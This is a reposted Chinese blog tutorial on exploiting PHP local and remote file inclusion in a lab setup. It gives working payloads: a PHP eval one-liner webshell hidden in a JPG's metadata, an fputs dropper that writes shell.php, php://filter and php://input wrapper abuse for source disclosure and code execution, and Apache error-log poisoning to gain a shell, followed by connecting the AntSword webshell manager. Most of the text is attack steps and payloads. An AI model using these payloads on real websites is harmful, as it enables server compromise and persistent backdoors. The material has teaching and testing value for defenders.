0


【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

文件包含漏洞的利用

读取敏感文件

我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件

  • 目标主机文件存在(目标文件的路径、绝对路径、相对路径)

  • 具有文件可读权限

  1. 提交参数http://localhost/include/include.php?path=C:\windows\system32\drivers\etc\hosts,读取本地host文件

  1. 提交参数http://localhost/include/include.php?path=http://www.cac.gov.cn/2021-01/22/c_1612887880656609.htm,读取远程文件,加载远程服务器上的文件

直接包含图片木马

可以利用文件包含漏洞直接包含图片木马

  1. 在include文件夹下新建wx.jpg图片文件

  1. 点击文件右键选择属性,点击版型信息,选择版权,输入一句话木马
<?php @eval($_REQUEST[123]);?>

  1. 打开浏览器输入http://localhost/include/include.php?path=./wx.jpg,进行访问

  1. 继续输入?path=./wx.jpg&123=print(md5(123456));,我们发现一句话木马能够输出md5值

  1. 复制URL通过包含的方式连接中国蚁剑。打开蚁剑,右键添加数据,如下图所示,测试连接成功

包含木马写shell

我们也可以将如下代码写入到图片中,<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>该段代码的含义是,在当前目录下创建一个名为[shell.php]的文件,内容为[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行。

  1. 在include目录下,复制wx.jpg,重命名为wx_fputs.jpg,通过notepad++打开该文件,随便一行插入代码<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>

  1. 之后打开浏览器正常访问http://localhost/include/wx_fputs.jpg,页面显示如下

  1. 继续输入http://localhost/include/include.php?path=./wx_fputs.jpg,页面显示如下

  1. 随即发现在include文件夹中有个新建文件shell.php,即可用蚁剑连接

PHP封装协议--访问本地文件

我们可以使用php的file协议访问本地系统文件,输入访问http://localhost/include/include.php?path=file://C:\windows\system32\drivers\etc\hosts

tips:我们发现file协议与读取敏感文件中的读取本地host文件的方式是一样的,只是在前面加了file://

PHP封装协议--传输PHP文件

我们可以使用以下参数来传送任意PHP文件(也就是利用文件包含漏洞来传输php文件)。

  1. 访问http://localhost/include/include.php?path=php://filter/read=convert.base64-encode/resource=info.php,发现info.php文件被转换为base64编码了

  1. 打开burp点击decoder模块进行转码(tips:可以通过这种方法获取网站源代码)

PHP封装协议--执行PHP命令

我们还可以利用PHP的封装协议来执行PHP命令

  1. 打开burp,点击repeater模块

  1. 直接输入参数?path=php://input,在后面直接写上<?php phpinfo();?>,点击send(tips:我们发现可以执行任意的php代码)

注意:远程文件包含默认情况下都是关闭的,传输php文件和执行php命令这两种方法有两种用途:

  1. 是用来打cdf的

  2. 是持久控制的php后门

那么已知一个网站存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?

经典面试题

包含日志文件getshell

实验背景

在上文提到过:已知一个网站且仅存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?

实验目的

利用本地文件包含漏洞GetShell

实验前准备

  1. 查看php版本,修改其配置,找到php-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。

  1. 在该网站根目录下,新建文件FileInclusion,在此文件夹中新建文件include.php,文件内容为
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

实验步骤

由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,日志文件记录报错的方法,就是从日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。具体步骤如下:

  1. 将访问include.php页面的URL链接http://127.0.0.1/FileInclusion/include.php复制,在BurpSuite的repeater模块中右键选择Paste URL as request以URL形式添加请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。

  1. 在请求行中,将文件路径修改请求为一句话代码<?php @eval($_REQUEST['cmd']);?>,点击send,可以看到响应报错

  1. 服务器在请求报错后,在错误日志中就会增加一条响应记录。我们打开Apache的错误日志,路径为D:\phpStudy\PHPTutorial\Apache\logs\error.log,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行

  1. 打开中国蚁剑连接。打开中国蚁剑→添加数据→填写URL地址和连接密码,其中URL地址http://127.0.0.1/FileInclusion/include.php?path=D:\phpStudy\PHPTutorial\Apache\logs\error.log,密码为cmd,点击添加。

  1. 添加在软件主界面可以看到新添加的内容,双击即可管理服务器

tips:

  1. 利用一切可能让服务器本地某个文件中含有一句话木马

  2. 第二步文件包含之让代码执行

  3. 如果网站存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用网站远程文件包含该文件,并不能Get网站Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。

扩展:

  • 包含session文件,造成sessionId泄露

  • metinfo5.0.4文件包含漏洞代码审计

标签: php 安全

本文转载自: https://blog.csdn.net/2301_76334474/article/details/129192559
版权归原作者 百事都可樂. 所有, 如有侵权,请联系我们删除。

“【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell”的评论:

还没有评论